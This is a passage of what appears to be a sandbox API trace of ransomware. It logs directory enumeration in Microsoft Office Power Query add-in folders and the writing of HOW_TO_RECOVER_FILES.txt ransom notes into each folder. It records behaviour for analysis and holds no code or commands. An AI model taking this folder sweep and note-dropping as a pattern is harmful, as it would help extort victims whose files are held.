nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0212.119] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0212.119] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec100) returned 1 [0212.119] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0c0) returned 1 [0212.119] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec1c0) returned 1 [0212.119] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\da", nBufferLength=0x105, lpBuffer=0x206ebc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\da", lpFilePart=0x0) returned 0x68 [0212.120] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\da\\*", lpFindFileData=0x206ebee0 | out: lpFindFileData=0x206ebee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c164a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6866e01, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6866e01, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0212.120] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c164a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6866e01, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6866e01, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0212.120] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x605aed7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x605aed7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6081126, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0212.121] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x56d17f1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56d17f1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56d17f1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x26aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0212.121] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6866e01, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6866e01, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6866e01, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x32040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0212.121] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5c164a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5c164a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5c164a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8b040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0212.121] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5c164a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5c164a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5c164a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8b040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0212.121] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0212.122] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec100) returned 1 [0212.122] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0c0) returned 1 [0212.122] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\da\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ebc10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\da\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x81 [0212.122] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec130) returned 1 [0212.122] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\da\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\da\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x808 [0212.124] GetFileType (hFile=0x808) returned 0x1 [0212.124] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0a0) returned 1 [0212.124] GetFileType (hFile=0x808) returned 0x1 [0212.125] WriteFile (in: hFile=0x808, lpBuffer=0x33fef40*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ec1f8, lpOverlapped=0x0 | out: lpBuffer=0x33fef40*, lpNumberOfBytesWritten=0x206ec1f8*=0x5d0, lpOverlapped=0x0) returned 1 [0212.125] CloseHandle (hObject=0x808) returned 1 [0212.126] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec1c0) returned 1 [0212.126] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\de", nBufferLength=0x105, lpBuffer=0x206ebc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\de", lpFilePart=0x0) returned 0x68 [0212.126] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\de\\*", lpFindFileData=0x206ebee0 | out: lpFindFileData=0x206ebee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x624ad43, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x624ad43, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0212.127] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x624ad43, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x624ad43, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0212.127] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeff31e88, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf003cf13, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xf040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0212.127] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x22a9f7a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x22a9f7a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22f6470, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x29040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0212.127] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x624ad43, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x624ad43, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x624ad43, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x33aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0212.127] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5eb74f1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5eb74f1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5f4ff2d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x91040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0212.127] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0212.127] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0212.496] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec100) returned 1 [0212.496] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0c0) returned 1 [0212.496] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec1c0) returned 1 [0212.496] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\de", nBufferLength=0x105, lpBuffer=0x206ebc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\de", lpFilePart=0x0) returned 0x68 [0212.514] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\de\\*", lpFindFileData=0x206ebee0 | out: lpFindFileData=0x206ebee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x624ad43, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x624ad43, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b280 [0212.515] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x624ad43, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x624ad43, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0212.515] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeff31e88, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf003cf13, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xf040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0212.516] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x22a9f7a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x22a9f7a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22f6470, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x29040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0212.516] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x624ad43, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x624ad43, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x624ad43, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x33aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0212.516] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5eb74f1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5eb74f1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5f4ff2d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x91040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0212.516] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5eb74f1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5eb74f1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5f4ff2d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x91040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 0 [0212.516] FindClose (in: hFindFile=0x134b280 | out: hFindFile=0x134b280) returned 1 [0212.517] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec100) returned 1 [0212.517] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0c0) returned 1 [0212.517] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\de\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ebc10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\de\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x81 [0212.517] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec130) returned 1 [0212.517] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\de\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\de\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x820 [0212.519] GetFileType (hFile=0x820) returned 0x1 [0212.519] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0a0) returned 1 [0212.519] GetFileType (hFile=0x820) returned 0x1 [0212.520] WriteFile (in: hFile=0x820, lpBuffer=0x3550bb0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ec1f8, lpOverlapped=0x0 | out: lpBuffer=0x3550bb0*, lpNumberOfBytesWritten=0x206ec1f8*=0x5d0, lpOverlapped=0x0) returned 1 [0212.521] CloseHandle (hObject=0x820) returned 1 [0212.521] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec1c0) returned 1 [0212.521] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\el", nBufferLength=0x105, lpBuffer=0x206ebc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\el", lpFilePart=0x0) returned 0x68 [0212.522] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\el\\*", lpFindFileData=0x206ebee0 | out: lpFindFileData=0x206ebee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00d5872, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6c93006, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c93006, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b100 [0212.523] FindNextFileW (in: hFindFile=0x134b100, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00d5872, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6c93006, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c93006, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0212.523] FindNextFileW (in: hFindFile=0x134b100, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x231c662, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x231c662, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x231c662, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0212.523] FindNextFileW (in: hFindFile=0x134b100, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6c93006, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6c93006, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c93006, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x33040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0212.524] FindNextFileW (in: hFindFile=0x134b100, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1dbe1c1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1dbe1c1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1dbe1c1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x42040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0212.524] FindNextFileW (in: hFindFile=0x134b100, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf00d5872, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf00d5872, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf00d5872, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xbcaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0212.524] FindNextFileW (in: hFindFile=0x134b100, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0212.524] FindClose (in: hFindFile=0x134b100 | out: hFindFile=0x134b100) returned 1 [0212.525] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec100) returned 1 [0212.525] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0c0) returned 1 [0212.525] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec1c0) returned 1 [0212.525] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\el", nBufferLength=0x105, lpBuffer=0x206ebc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\el", lpFilePart=0x0) returned 0x68 [0212.525] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\el\\*", lpFindFileData=0x206ebee0 | out: lpFindFileData=0x206ebee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00d5872, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6c93006, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c93006, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134afe0 [0212.526] FindNextFileW (in: hFindFile=0x134afe0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00d5872, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6c93006, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c93006, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0212.526] FindNextFileW (in: hFindFile=0x134afe0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x231c662, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x231c662, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x231c662, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0212.526] FindNextFileW (in: hFindFile=0x134afe0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6c93006, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6c93006, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c93006, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x33040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0212.526] FindNextFileW (in: hFindFile=0x134afe0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1dbe1c1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1dbe1c1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1dbe1c1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x42040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0212.526] FindNextFileW (in: hFindFile=0x134afe0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf00d5872, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf00d5872, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf00d5872, 